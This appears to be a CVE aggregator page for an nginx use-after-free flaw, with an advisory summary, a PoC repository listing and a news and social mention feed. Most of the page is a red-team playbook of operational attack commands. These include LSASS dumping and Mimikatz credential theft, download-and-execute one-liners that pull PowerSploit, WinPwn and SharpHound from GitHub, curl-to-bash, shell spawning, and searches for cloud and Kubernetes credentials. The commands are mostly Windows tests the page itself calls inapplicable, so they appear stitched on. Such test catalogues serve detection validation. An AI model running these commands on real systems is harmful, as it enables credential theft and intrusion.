CVE-2026-123634
Overview
This vulnerability is a use-after-free flaw occurring in the proxy configuration of F5 NGINX Plus and NGINX Open Source when the proxied server name includes variables. The root cause is improper memory management triggered by Server Side Includes (SSI) or mirror directives that send subrequests to locations resolving the same server name. The affected component is the worker process handling subrequests within the proxy module of NGINX Plus.
Vulnerability Description
This issue occurs when NGINX Plus or NGINX Open Source is configured as a proxy, the proxied server name includes variables, and a Server Side Includes (SSI) or mirror directive sends a subrequest to a location that resolves the same server name. Under these conditions, a specially crafted HTTP request may cause a use-after-free condition in a worker process. An attacker may also be able to execute code if Address Space Layout Randomization (ASLR) is disabled or the attacker can bypass ASLR. Impact: An attacker could leverage this vulnerability to crash the NGINX worker process, corrupt its memory, or perform remote code execution (RCE) Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted HTTP requests to cause the NGINX worker process to crash or corrupt its memory. Under conditions where Address Space Layout Randomization (ASLR) is disabled or bypassed, the attacker may achieve remote code execution within the context of the NGINX process. This can result in service disruption, potential full system compromise, and unauthorized control over the affected server's resources.
Solution
F5 Networks recommends applying the patches specified in their advisory K000163925 for F5 NGINX Plus. Users should upgrade to the fixed versions as outlined in the vendor's security bulletin. Detailed patch instructions and version-specific remediation steps are available at https://my.f5.com/manage/s/article/K000163925. No alternative workarounds are provided; applying the official update is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
LLCForge/CVE-2026-123634
CVE-2026-123634 — nginx resolver use-after-free via SSI subrequests. Self-contained Docker lab with a delayed DNS respon...
|
LLCForge | 0 | 0 | 2026-11-18 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (40)
40 mentions from 33 sources in the last 7 days BuzzFactor 96 / 100
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code github.com ramenaru 2026-11-19 18:25 UTCramenaru/nginx2root-playgroundOpen source
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social bsky.app @mkyutani.bsky.social 2026-11-19 15:17 UTC(1/2) 情報処理推進機構は、F5社のNGINX Open SourceおよびNGINX Plusで2026年11月18日に公開された複数の脆弱性への対策を案内している。CVE-2026-123007、CVE-2026-123633、CVE-2026-121810、CVE-2026-123634、CVE-2026-113425の5件はCVSS v4.0で9.2(Critical)と評価され、影響はCVE、利用機能、設定、製品・パッケージにより異なる。NGINX Open…Open source
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social bsky.app @elcompilado.com 2026-11-19 15:00 UTCNGINX2Root: F5 parchea cinco fallas críticas con CVSS 9,2 que permiten ejecución remota sin autenticación, y ya hay dos PoCs públicos (18-19/11)Open source
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social bsky.app @labrodev.bsky.social 2026-11-19 13:34 UTCOn Nov 18, 2026, the #Nginx team released fixes for five vulnerabilities that are collectively known as “Nginx to Root” (NGINX2Root): CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, and CVE-2026-113425.Open source
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social bsky.app @bootintel.bsky.social 2026-11-19 12:02 UTCNew HIGH CVE for nginx: CVE-2026-123634 This issue occurs when NGINX Plus or NGINX Open Source is configured as a proxy, the proxied server name includes variables, and a Server Side Includes (SSI) or mirror directive… More: nvd.nist.gov/v…Open source
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code github.com foxcornlab 2026-11-19 04:33 UTCfoxcornlab/nginx-scannerOpen source
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social bsky.app @zuo.la 2026-11-19 04:23 UTC已完成 192.168.0.1 的 edge-nginx 升級,由 1.29.8 更新至 1.30.7,涵蓋指定的五項安全漏洞修補:CVE-2026-123007、CVE-2026-123634、CVE-2026-123633、CVE-2026-121810、CVE-2026-113425。Open source
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news bitsight.com 2026-11-19 04:15 UTCNGINX2Root: Five nginx Vulnerabilities, Starting With CVE-2026-123007 - BitsightOpen source
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social bsky.app @cvemon.bsky.social 2026-11-19 03:38 UTCCVE-2026-123634 is trending. Hype score 29, currently #4 on cvemon. This issue occurs when NGINX Plus or NGINX Open Source is configured as a proxy, the proxied server name includes variables, and a Server Side Includes (SSI) or mirror dir…Open source
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code github.com maizarrahman 2026-11-19 03:14 UTCmaizarrahman/nginx_cve_2026_auditOpen source
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social bsky.app 2026-11-19 02:59 UTCXint 统计,11 月 10 日能识别版本的 nginx 主机里 98.9% 都在受影响范围内。另外 4 个各有各的触发条件:CVE-2026-123634 是 DNS 解析器的 use-after-free(配了 resolver 且 proxy_pass 用变量);CVE-2026-123633 是 HTTP/2 反向代理的 use-after-free;CVE-2026-121810 是 HTTP/3(QUIC)反向代理的 use-after-free;CVE-20…Open source
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social bsky.app 2026-11-19 02:59 UTCXint 统计,11 月 10 日能识别版本的 nginx 主机里 98.9% 都在受影响范围内。另外 4 个各有各的触发条件:CVE-2026-123634 是 DNS 解析器的 use-after-free(配了 resolver 且 proxy_pass 用变量);CVE-2026-123633 是 HTTP/2 反向代理的 use-after-free;CVE-2026-121810 是 HTTP/3(QUIC)反向代理的 use-after-free;CVE-20…Open source
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social bsky.app 2026-11-19 02:59 UTCXint 统计,11 月 10 日能识别版本的 nginx 主机里 98.9% 都在受影响范围内。另外 4 个各有各的触发条件:CVE-2026-123634 是 DNS 解析器的 use-after-free(配了 resolver 且 proxy_pass 用变量);CVE-2026-123633 是 HTTP/2 反向代理的 use-after-free;CVE-2026-121810 是 HTTP/3(QUIC)反向代理的 use-after-free;CVE-20…Open source
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social bsky.app @xiaoguang99.bsky.social 2026-11-19 02:59 UTCXint 统计,11 月 10 日能识别版本的 nginx 主机里 98.9% 都在受影响范围内。另外 4 个各有各的触发条件:CVE-2026-123634 是 DNS 解析器的 use-after-free(配了 resolver 且 proxy_pass 用变量);CVE-2026-123633 是 HTTP/2 反向代理的 use-after-free;CVE-2026-121810 是 HTTP/3(QUIC)反向代理的 use-after-free;CVE-20…Open source
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news securityboulevard.com 2026-11-19 01:57 UTCNGINX2Root (CVE-2026-123007): Frequently asked questions about five critical NGINX vulnerabilities - Security BoulevardOpen source
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social bsky.app @almalinux.org 2026-11-19 00:15 UTC🚨 Five vulnerabilities in nginx, nicknamed NGINX2Root, were disclosed by nginx today: CVE-2026-123633, CVE-2026-123007, CVE-2026-123634, CVE-2026-113425, and CVE-2026-121810. Due to the severity, patches went straight to production repos.…Open source
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social bsky.app @cryptonews-poster.bsky.social 2026-11-18 23:58 UTCBTCPay Server urgent update released for Nginx vulns (CVE-2026-123007, CVE-2026-123634, etc.). Upgrade ASAP via Server Settings or SSH. Interim Nginx config available for immediate issues. #crypto #blockchain #newsOpen source
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news finance.biggo.com 2026-11-18 23:56 UTCBTCPay Server Urges Immediate Patch for Five NGINX Flaws, One Allowing Unauthenticated Remote Code Execution - BigGo FinanceOpen source
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code github.com TimTheBeastNL 2026-11-18 23:42 UTCTimTheBeastNL/nginx2rootOpen source
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advisory blog.qualys.com 2026-11-18 23:29 UTCNGINX2Root: Five nginx Flaws, Led by CVE-2026-123007. How to Find, Mitigate, and Patch Now - QualysOpen source
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news cryptopolitan.com 2026-11-18 23:03 UTCBTCPay Server ships emergency update for five NGINX code-execution flaws - CryptopolitanOpen source
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news heise.de 2026-11-18 21:56 UTCWeb server: nginx update fixes serious vulnerabilities - heise onlineOpen source
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news securityboulevard.com 2026-11-18 21:54 UTCNGINX2Root (CVE-2026-123007 and four more): unauthenticated remote code execution in nginx - Security BoulevardOpen source
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social bsky.app @kathryndeplume.com 2026-11-18 21:08 UTCThe vulnerability is CVE-2026-123007, which is now listed as fixed in 1.30.7 and 1.31.9 (via nginx.org).Open source
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news aikido.dev 2026-11-18 19:51 UTCPHP schedules a critical security release for 19 November, including CVE-2026-115560 - Aikido SecurityOpen source
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news sophos.com 2026-11-18 19:30 UTCPatches released for critical ‘NGINX2Root’ vulnerabilities - SophosOpen source
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social bsky.app @omo.bsky.social 2026-11-18 19:30 UTCnginxの脆弱性(NGINX2Root / NGINX2Shell: CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, CVE-2026-113425)と修正バージョン(1.31.9/1.30.7) #sios_tech #security #vulnerability #セキュリティ #脆弱性 #nginx #nginx2root #nginx2shell security.sios.…Open source
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social berlin.social @asltf 2026-11-18 18:55 UTC\o/ Nginx Update time (again) CVE-2026-123007 CVE-2026-123634 CVE-2026-123633 CVE-2026-121810 CVE-2026-113425 https:// nginx2root.com/ # nginx # CVEOpen source
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news thehackernews.com 2026-11-18 18:31 UTC10-Year-Old NGINX HTTP/2 Flaw Lets Unauthenticated Attackers Execute Code on Servers - The Hacker NewsOpen source
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news aikido.dev 2026-11-18 18:24 UTCnginx2root: Critical nginx RCE vulnerabilities and how to fix them - Aikido SecurityOpen source
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social bsky.app @stackflag.bsky.social 2026-11-18 17:30 UTCCVE-2026-123634 - nginx plus If NGINX Plus or NGINX Open Source is set up as a proxy that uses variables in the server name, a specially built web request can cause the server process to stop working or even… Too many irrelevant or confusi…Open source
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news ccb.belgium.be 2026-11-18 17:27 UTCWarning: Multiple Critical NGINX Vulnerabilities, Patch Immediately! - CCB BelgiumOpen source
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social news.ycombinator.com wildmXranat 2026-11-18 17:17 UTCPre-auth RCE in Nginx HTTP/2 handlingOpen source
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code github.com The-DevOps-Daily 2026-11-18 17:02 UTCThe-DevOps-Daily/nginx2root-checkOpen source
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news infosecurity-magazine.com 2026-11-18 16:55 UTCFive Critical Vulnerabilities Found in World's Most Widely Used Open-Source Web Server - Infosecurity MagazineOpen source
